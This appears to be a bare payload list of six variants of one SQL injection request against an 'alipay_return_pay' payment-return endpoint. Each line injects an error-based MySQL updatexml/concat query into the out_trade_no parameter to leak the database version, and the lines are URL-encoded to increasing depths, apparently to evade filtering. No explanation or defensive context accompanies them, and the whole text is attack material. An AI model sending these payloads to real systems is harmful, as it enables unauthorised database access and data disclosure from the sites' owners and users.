alipay_return_pay%252525253Fout_trade_no=1%252525252527%252525252520and%252525252520updatexml%25252525281,concat%25252525280x7e,%2525252528select%252525252520version%2525252528%2525252529%2525252529,0x7e%2525252529,1%2525252529--+%2525252522
alipay_return_pay%2525253Fout_trade_no=1%2525252527%2525252520and%2525252520updatexml%252525281,concat%252525280x7e,%25252528select%2525252520version%25252528%25252529%25252529,0x7e%25252529,1%25252529--+%25252522
alipay_return_pay%25253Fout_trade_no=1%25252527%25252520and%25252520updatexml%2525281,concat%2525280x7e,%252528select%25252520version%252528%252529%252529,0x7e%252529,1%252529--+%252522
alipay_return_pay%253Fout_trade_no=1%252527%252520and%252520updatexml%25281,concat%25280x7e,%2528select%252520version%2528%2529%2529,0x7e%2529,1%2529--+%2522
alipay_return_pay%3Fout_trade_no=1%2527%2520and%2520updatexml%281,concat%280x7e,%28select%2520version%28%29%29,0x7e%29,1%29--+%22
alipay_return_pay?out_trade_no=1%27%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)--+"